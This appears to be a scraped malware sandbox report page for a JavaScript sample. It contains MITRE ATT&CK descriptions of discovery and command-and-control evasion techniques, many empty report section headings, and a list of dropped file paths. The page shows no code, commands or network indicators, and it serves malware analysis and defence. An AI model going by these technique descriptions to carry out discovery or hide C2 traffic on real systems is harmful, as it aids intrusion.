Description:	Adversaries may attempt to get a listing of security software, configurations, defensive tools, and sensors that are installed on a system or in a cloud environment. This may include things such as firewall rules and anti-virus. Adversaries may use the information from Security Software Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Firewall: Firewall Enumeration, Firewall: Firewall Metadata, Process: OS API Execution, Process: Process Creation
Platforms:	Azure AD, Google Workspace, IaaS, Linux, macOS, Office 365, SaaS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may attempt to get information about running processes on a system. Information obtained could be used to gain an understanding of common software/applications running on systems within the network. Adversaries may use the information from Process Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may enumerate files and directories or may search in specific locations of a host or network share for certain information within a file system. Adversaries may use the information from File and Directory Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	An adversary may attempt to get detailed information about the operating system and hardware, including version, patches, hotfixes, service packs, and architecture. Adversaries may use the information from System Information Discovery during automated discovery to shape follow-on behaviors, including whether or not the adversary fully infects the target and/or attempts specific actions.
Tactics:	Discovery
Data Sources:	Command: Command Execution, Process: OS API Execution, Process: Process Creation
Platforms:	IaaS, Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may obfuscate command and control traffic to make it more difficult to detect. Command and control (C2) communications are hidden (but not necessarily encrypted) in an attempt to make the content more difficult to discover or decipher and to make the communication less conspicuous and hide commands from being seen. This encompasses many methods, such as adding junk data to protocol traffic, using steganography, or impersonating legitimate protocols.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using a protocol and port pairing that are typically not associated. For example, HTTPS over port 8088or port 587as opposed to the traditional port 443. Adversaries may make changes to the standard port used by a protocol to bypass filtering or muddle analysis/parsing of network data.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may transfer tools or other files from an external system into a compromised environment. Tools or files may be copied from an external adversary-controlled system to the victim network through the command and control channel or through alternate protocols such as ftp . Once present, adversaries may also transfer/spread tools between victim devices within a compromised environment (i.e. Lateral Tool Transfer ).
Tactics:	Command and Control
Data Sources:	Command: Command Execution, File: File Creation, Network Traffic: Network Connection Creation, Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may use an OSI non-application layer protocol for communication between host and C2 server or among infected hosts within a network. The list of possible protocols is extensive.Specific examples include use of network layer protocols, such as the Internet Control Message Protocol (ICMP), transport layer protocols, such as the User Datagram Protocol (UDP), session layer protocols, such as Socket Secure (SOCKS), as well as redirected/tunneled protocols, such as Serial over LAN (SOL).
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Network, Windows
Url:	Open detailed description by Mitre

Description:	Adversaries may communicate using OSI application layer protocols to avoid detection/network filtering by blending in with existing traffic. Commands to the remote system, and often the results of those commands, will be embedded within the protocol traffic between the client and server.
Tactics:	Command and Control
Data Sources:	Network Traffic: Network Traffic Content, Network Traffic: Network Traffic Flow
Platforms:	Linux, macOS, Windows
Url:	Open detailed description by Mitre

Behavior Section

Behavior Chronological

Disassembly

Uncategorized

Graph

Loading Joe Sandbox Report ...

Warning!

Windows Analysis Report 25055222211104026628.js

Overview

General Information

Detection

Signatures

Classification

Process Tree

Malware Configuration

Yara Signatures

Memory Dumps

Sigma Signatures

System Summary

HIPS / PFW / Operating System Protection Evasion

Suricata Signatures

Joe Sandbox Signatures

Software Vulnerabilities

Networking

Spam, unwanted Advertisements and Ransom Demands

System Summary

Data Obfuscation

Hooking and other Techniques for Hiding and Protection

Malware Analysis System Evasion

HIPS / PFW / Operating System Protection Evasion

Language, Device and Operating System Detection

Stealing of Sensitive Information

Mitre Att&ck Matrix

Behavior Graph

Screenshots

Thumbnails

Antivirus, Machine Learning and Genetic Malware Detection

Initial Sample

Dropped Files

Unpacked PE Files

Domains

URLs

Domains and IPs

Contacted Domains

Contacted URLs

URLs from Memory and Binaries

World Map of Contacted IPs

Public IPs

Private

General Information

Warnings

Simulations

Behavior and APIs

Joe Sandbox View / Context

IPs

Domains

ASNs

JA3 Fingerprints

Dropped Files

Created / dropped Files

C:\ProgramData\Microsoft\Network\Downloader\edb.log

C:\ProgramData\Microsoft\Network\Downloader\qmgr.db

C:\ProgramData\Microsoft\Network\Downloader\qmgr.jfm

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Local Storage\leveldb\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\47e3b727-7b42-4bde-94d6-6d0cddb10e70.tmp

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Network\Network Persistent State (copy)

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\000003.log

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG

C:\Users\user\AppData\LocalLow\Adobe\AcroCef\DC\Acrobat\Cache\Session Storage\LOG.old (copy)

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\Content\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\2D85F72862B55C4EADD9E66E06947F3D

C:\Users\user\AppData\LocalLow\Microsoft\CryptnetUrlCache\MetaData\77EC63BDA74BD0D0E0426DC8F8008506

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeCMapFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeFnt23.lst.7876

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\AdobeSysFnt23.lst (copy)

C:\Users\user\AppData\Local\Adobe\Acrobat\DC\Cache\AcroFnt23.lst (copy)

Windows Analysis Report
25055222211104026628.js